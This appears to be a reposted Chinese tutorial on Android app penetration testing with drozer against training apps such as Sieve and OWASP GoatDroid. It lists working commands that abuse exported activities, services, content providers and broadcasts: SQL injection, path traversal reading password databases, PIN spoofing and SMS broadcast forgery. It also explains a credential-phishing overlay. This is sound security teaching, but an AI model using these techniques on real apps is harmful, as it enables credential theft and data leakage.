adb -s 127.0.0.1:5559 pull /storage/emulated/0/Android/data/top.niunaijun.blackdexa64/dump/com.kmxs.reader E:333
环境:python2.7.18
安装包:PC端 drozer-2.4.4.win32.msi 手机端 drozer-agent-2.3.4.apk
adb connect 127.0.0.1:5559
adb -s 127.0.0.1:5559 forward tcp:31415 tcp:31415
drozer.bat console connect 127.0.0.1:5559
run app.package.list -f sieve //sieve为app_name
run app.package.info -a com.mwr.example.sieve
run app.package.attacksurface com.mwr.example.sieve //可了解目标应用暴露在外的可被攻击的组件和服务
-
activities exported 越权攻击,发送伪造消息等; -
broadcast receivers exported 发送恶意广播,伪造广播消息,越权攻击等; -
content providers exported 数据泄漏,SQL注入等; -
services exported 越权攻击,服务拒绝,权限提升等;
原理介绍:在Android系统中,Activity默认是不导出的,如果设置了exported = "true" 这样的关键值或者是添加了<intent-filter>这样的属性,那么此时Activity是导出的,就会导致越权绕过或者是泄露敏感信息等安全风险。例如:一些敏感的界面需要用户输入密码才能查看,如果没有对调用此Activity的组件进行权限验证,就会造成验证的越权问题,导致攻击者不需要密码就可以打开 通过Intent给Activity传输畸形数据使得程序崩溃拒绝服务 对Activity界面进行劫持测试APP:Sieve.apk
run app.activity.info -a com.mwr.example.sieve
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
原理介绍:Android APP中不同界面的切换通过Activity的调度来实现,而Acticity的调度是由Android系统中的AMS来实现。每个应用想启动或停止一个进程,都报告给AMS,AMS收到启动或停止Activity的消息时,先更新内部记录,再通知相应的进程或停止指定的Activity。当新的Activity启动,前一个Activity就会停止,这些Activity会保留在系统中的一个Activity历史栈中。每有一个Activity启动,它就压入历史栈顶,并在手机上显示。当用户按下back,顶部的Activity弹出,恢复前一个Activity,栈顶指向当前的Activity。 由于Activity的这种特性,如果在启动一个Activity时,给它加入一个标志位FLAGACTIVITYNEW_TASK,就能使它置于栈顶并立马呈现给用户,如果这个Activity是用于盗号的伪装Activity,就会产生钓鱼安全事件或者一个Activity中有webview加载,允许加载任意网页都有可能产生钓鱼事件。实现原理:如果我们注册一个receiver,响应android.intent.action.BOOT_COMPLETED,使得开启启动一个service;这个service,会启动一个计时器,不停枚举当前进程中是否有预设的进程启动,如果发现有预设进程,则使用FLAG_ACTIVITY_NEW_TASK启动自己的钓鱼界面,截获正常应用的登录凭证 实现步骤:启动一个服务 不断扫描当前进程 找到目标后弹出伪装窗口测试APP:uihijackv2.0_sign.apk
run app.package.list -f Hijack
run app.package.attacksurface com.test.uihijack
run app.activity.info -a com.test.uihijack
run app.activity.start --component com.test.uihijack com.test.uihijack.MainActivity
原理介绍:
Android提供Intent机制来协助应用间的交互和通讯,通过Intent实现对应用中一次操作的动作、动作涉及数据、附加数据进行描述,Android通过Intent的描述,负责找到对应组件,完成调用。
拒绝服务攻击源于程序没有对Intent。getXXXExtra()获取的异常或者畸形数据处理时没有进行异常捕获,从而导致攻击者向应用发送此类空数据、异常或者畸形数据来达到致使该应用crash的目的,我们可以通过intent发送空数据、异常或畸形数据给正常应用,导致其崩溃。本地拒绝服务可以被竞争方利用来攻击,使得自己的应用崩溃,造成破坏。
危害:
拒绝服务漏洞对于锁屏应用、安全防护类软件危害是巨大的
run app.package.attacksurface org.owasp.goatdroid.fourgoats
run app.activity.info -a org.owasp.goatdroid.fourgoats
run app.service.info -a com.mwr.example.sieve
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 0 --extra string com.mwr.example.sieve.PIN 1234 --bundle-as-obj
run app.provider.info -a com.mwr.example.sieve
run app.provider.finduri com.mwr.example.sieve
run scanner.provider.finduris -a com.mwr.example.sieve
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
run scanner.provider.injection -a com.mwr.example.sieve
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "*"
run scanner.provider.traversal -a com.mwr.example.sieve
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/../../../../../../../..//data/user/0/com.mwr.example.sieve/databases/database.db
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db
run app.package.list -f fourgoats //查看程序的包名
run app.package.info -a org.owasp.goatdroid.fourgoats //查看程序包信息
run app.package.attacksurface org.owasp.goatdroid.fourgoats //查看程序攻击面
run app.broadcast.info -a org.owasp.goatdroid.fourgoats //查看具体的攻击面
3.4.2 消息伪造(发送恶意广播)
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 1380 --extra string message test //phoneNumber可尝试填写自己的试试
-
空action
run app.broadcast.send --component 包名 广播名
-
空extras
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS
原文始发于微信公众号(白帽攻防):APP渗透测试-drozer
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论